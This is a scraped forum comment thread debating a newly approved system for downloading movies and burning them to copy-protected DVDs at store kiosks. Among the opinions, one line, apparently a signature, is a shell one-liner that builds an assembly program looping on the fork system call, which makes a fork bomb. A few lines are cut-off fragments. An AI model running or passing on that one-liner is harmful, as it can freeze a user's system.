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Download And Burn Movies Available Soon
An anonymous reader writes "According to an article from PC World, a source close to the CSS Managed Recording forum said that technology which allows movies to be downloaded and burned to blank DVDs, using the same content-protection system as commercial discs, received official approval on Thursday. 'The technology will require discs that are slightly different from the conventional DVD-Rs found in shops today. The burned discs will be compatible with the vast majority of consumer DVD players ... Despite Thursday's approval, services that allow consumers to legally download and burn movies in their own homes are unlikely to appear quickly. The DVD CCA said it will be initially restricted to professional uses. These might include kiosks in retail stores where consumers can purchase and burn discs in a controlled environment.'"
Umm, because now they can offer a much larger catalogue and you have even less excuse than ever for pirating something that you claim is rare / not available locally?
So I am going to walk into Best Buy, walk up to a kiosk, pick the movie I want to watch, wait 5-10 minutes for it to download and burn on this special DVD, pay for it, and walk out? As opposed to me just grabbing the movie off the shelf and skipping the burning-downloading part?
It is much easier to code right, then to patch it up later.
All this saves is retail storage space - ie it is convenient for the studios and the stores because they don't need the same warehouse and shelf space. Its not convenient for me. I can already walk to the Global Video 50 yards from my house and buy (or rent) DVDs. Except now, if its not a popular choice, I have to wait at a booth until a 4GB file downloads.
It just reinforces in my mind that consumers are merely obstacles between the studios and their money, and technology is merely a lubricant to ease the movement of money from us to them. Nothing else matters - in fact anything else is an obstacle.
Well, the nice thing is that it could just have more drives and produce more output at a rather low incremental cost to the machine. If it rents out a 1000 DVDs a day, that'd be pretty extreme. The machine would pay for itself in less then a month?
>"I think that this will reduce considerably the costs for the distribution of a movie"
A DVD costs pennies to make/transport (I get plenty of them for free with magazines/etc.). Installing all the hardware/infrastructure needed for this system will cost a fortune.
No sig today...
...it is already now possible to easily rip and copy DVDs, so why even bother to protect the images. Sell the downloadable images for half the price and let people burn them! What do you gain by "protecting" them?!
Frankly, I don't get this great desire for direct-delivery, or downloadable, or burn-your-own type of delivery. Why? Well, hell.. you're already getting charged an arm + leg today for the media and its content.. so to make it better you're going to do more of the providor's work for them? You're going to use your bandwidth, burn to your media for the content? What kinda sense is that?
e , et al have their way about it?
:)
And further.. to continue the cries downloading is the way to go (especially in the middle of this HD-format battle we're in),instead of a shiny silvery thing (complete with its case, booklet, promo materials) we're going to be satisfied with a download direct to a black box? You think that box is going to have any to get that content out of it? Especially if the RIAA/Hollywood/Insert-Your-Favorite-Boogeyman-her
I've been watching this trend with music (iTunes, etc..), I see people think it's the cat's balls for video.. and I simply don't get it. Or I'm to materialistic and prefer the tangible product in my hand compared to some stuff on a harddrive somewhere which is (imho) prone to higher levels of control or loss due to failure..
-r (or maybe it's just another sign i'm getting older..
-'fester
...that perhaps this isn't supposed to succeed? Think about it; the studios want this to happen. First, they say "downloadable and burnable movies for the masses!" Second, they come up with a business model designed to fail and a process designed to be less convenient for the consumer. Third, sales end up in the gutter. Fourth, they discontinue offering movies in this manner. Fifth, anytime someone starts talking about how movies should we should be able to download movies and burn them to discs, the studios point at this and say that the model is unfeasable. Sixth, they are able to label almost anyone who has a movie on a disc that wasn't burned by them as a pirate.
I SAY WHAT IS LEGAL IN MY OWN HOME.
The preferred argument of wife-beaters everywhere!
customer: forget it i'll just have a box of VHS tapes please
... ad nauseam ...
Salesman: would you like Sony, TDK, Memorex or own brand
Customer: er, Sony
Salesman: what grade would you like? XB, XBR, XBR-E
The technology will require discs that are slightly different from the conventional DVD-Rs found in shops today
You can bet those disks, which cost them a nickel to make, will cost you $7 apiece. They are not going to stop robbing us, they are just trying to make it less obvious.
I work for the Department of Redundancy Department.
I don't think they're as smart as that. And most of the people involved will see it as an interesting technical project to make drives and disks with writeable CSS (if they are engineers), or a chance to sell some of their drives/disks at a massive markup compared to normal DVD ons (if they are sales guys). And the people at the top will go through the motions of testing a new distribution method.
The requirement that people burn in stores rather than at home is inevitable once they decided to use non standard disks with writeable CSS. Unfortunately, that will probably make this scheme sink like DivX.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Mods, this is NOT a troll. It is a really good point.
At what point does the "legal in my own home" argument fail to hold water? And if it fails to work at some point, what does that say about the entire argument?
For example, is it legal to shoot heroin in your house? How about meth? Is it legal to pass counterfeit bills to your drug dealer? Can you deprive him of liberty if he calls you on it? Is murder legal in your own home? How about arson to hide the evidence of the previous "legal" activities?
If your argument fails at some point in that chain, does it continue to work for your original "legal in my own home" actions?
If you are going to be in a professional environment, why the hell would you want to sit and wait for a disc to be burned? Let's say you're at your local shopping mall, chances are that you'll be within sight of a Sam Goody, FYE, or Suncoast store...if you're going to buy a movie, you might as well buy it in retail packaging.
Still, for those rare dvd's one does want to own, why would you want a shit burned DVD with some crap injet label instead of a slick case with insert?
while you're ranting on about your military/intellectual property/industrial complex, you may want to consider:
c hology)
http://en.wikipedia.org/wiki/Rationalization_(psy